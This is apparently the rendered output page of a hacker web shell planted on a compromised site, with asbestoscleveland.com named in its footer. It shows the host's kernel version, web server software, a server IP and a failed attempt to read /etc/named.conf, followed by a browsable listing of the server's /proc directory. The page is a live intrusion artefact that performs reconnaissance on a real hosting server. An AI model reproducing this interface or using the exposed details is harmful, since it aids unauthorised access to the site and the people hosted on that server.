System : Linux premium304.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
Software : LiteSpeed
Server : 104.21.48.23
Domains : Cant read /etc/named.conf
Permission : dr-xr-xr-x ]
: / proc /
216.73.216.30
Home
Name Type Size Permission Last Modified Actions
. DIR - dr-xr-xr-x 2025-07-02 07:31:09
.. DIR - drwxr-xr-x 2025-08-01 09:06:12
3735120 DIR - dr-xr-xr-x 2026-01-12 08:30:09
3757007 DIR - dr-xr-xr-x 2026-01-12 08:30:09
3763248 DIR - dr-xr-xr-x 2026-01-12 08:30:08
3763962 DIR - dr-xr-xr-x 2026-01-12 08:30:08
3779112 DIR - dr-xr-xr-x 2026-01-12 08:31:14
3781149 DIR - dr-xr-xr-x 2026-01-12 08:32:00
3781477 DIR - dr-xr-xr-x 2026-01-12 08:32:12
3781964 DIR - dr-xr-xr-x 2026-01-12 08:32:19
acpi DIR - dr-xr-xr-x 2025-07-02 07:31:12
bus DIR - dr-xr-xr-x 2025-07-02 07:36:40
driver DIR - dr-xr-xr-x 2026-01-12 08:32:29
fs DIR - dr-xr-xr-x 2025-07-02 07:36:40
irq DIR - dr-xr-xr-x 2025-07-02 07:36:40
kcare DIR - dr-xr-xr-x 2026-01-12 08:32:29
lve DIR - dr-xr-xr-x 2026-01-12 08:32:31
net LINK - dr-xr-xr-x 2026-01-12 08:32:29
scsi DIR - dr-xr-xr-x 2025-07-02 07:36:40
self LINK - dr-xr-xr-x 2026-01-12 08:30:08
sys DIR - dr-xr-xr-x 2025-07-02 07:31:12
sysvipc DIR - dr-xr-xr-x 2026-01-12 08:32:29
thread-self LINK - dr-xr-xr-x 2026-01-12 08:32:32
tty DIR - dr-xr-xr-x 2026-01-12 08:32:29
buddyinfo 0 B -r--r--r-- 2026-01-12 08:32:29
cgroups 0 B -r--r--r-- 2026-01-12 08:32:29
cmdline text/plain 0 B -r--r--r-- 2026-01-12 08:32:13
consoles 0 B -r--r--r-- 2026-01-12 08:32:29
cpuinfo text/plain 0 B -r--r--r-- 2026-01-12 08:32:32
crypto 0 B -r--r--r-- 2026-01-12 08:32:29
devices 0 B -r--r--r-- 2026-01-12 08:32:29
diskstats 0 B -r--r--r-- 2026-01-12 08:32:29
dma 0 B -r--r--r-- 2026-01-12 08:32:29
execdomains 0 B -r--r--r-- 2026-01-12 08:32:29
fb 0 B -r--r--r-- 2026-01-12 08:32:29
filesystems text/plain 0 B -r--r--r-- 2026-01-12 08:32:30
interrupts 0 B -r--r--r-- 2026-01-12 08:32:29
iomem 0 B -r--r--r-- 2026-01-12 08:32:29
ioports 0 B -r--r--r-- 2026-01-12 08:32:29
kallsyms 0 B -r--r--r-- 2025-07-02 07:36:40
kcore 128 TB -r-------- 2025-07-02 07:31:12
key-users 0 B -r--r--r-- 2026-01-12 08:32:29
keys 0 B -r--r--r-- 2026-01-12 08:32:29
kmsg 0 B -r-------- 2026-01-12 08:32:29
kpagecgroup 0 B -r-------- 2026-01-12 08:32:29
kpagecount 0 B -r-------- 2026-01-12 08:32:29
kpageflags 0 B -r-------- 2026-01-12 08:32:29
loadavg text/plain 0 B -r--r--r-- 2026-01-12 08:32:30
locks 0 B -r--r--r-- 2026-01-12 08:32:29
mdstat 0 B -r--r--r-- 2026-01-12 08:32:29
meminfo text/plain 0 B -r--r--r-- 2026-01-12 08:32:32
misc 0 B -r--r--r-- 2026-01-12 08:32:29
modules 0 B -r--r--r-- 2026-01-12 08:32:29
mounts text/plain 0 B -r--r--r-- 2026-01-12 08:32:29
mtrr 0 B -rw-r--r-- 2025-07-02 07:36:40
pagetypeinfo 0 B -r-------- 2026-01-12 08:32:29
partitions 0 B -r--r--r-- 2026-01-12 08:32:29
sched_debug 0 B -r--r--r-- 2026-01-12 08:32:29
schedstat 0 B -r--r--r-- 2026-01-12 08:32:29
slabinfo 0 B -r-------- 2026-01-12 08:32:29
softirqs 0 B -r--r--r-- 2026-01-12 08:32:29
stat text/plain 0 B -r--r--r-- 2026-01-12 08:32:30
swaps 0 B -r--r--r-- 2025-07-02 07:31:10
sysrq-trigger 0 B --w------- 2025-07-02 07:36:40
timer_list 0 B -r-------- 2026-01-12 08:32:29
uptime text/plain 0 B -r--r--r-- 2026-01-12 08:32:32
version text/plain 0 B -r--r--r-- 2026-01-12 08:32:29
vmallocinfo 0 B -r-------- 2026-01-12 08:32:29
vmstat 0 B -r--r--r-- 2026-01-12 08:32:29
zoneinfo 0 B -r--r--r-- 2026-01-12 08:32:29

~ ACUPOFTEA - asbestoscleveland.com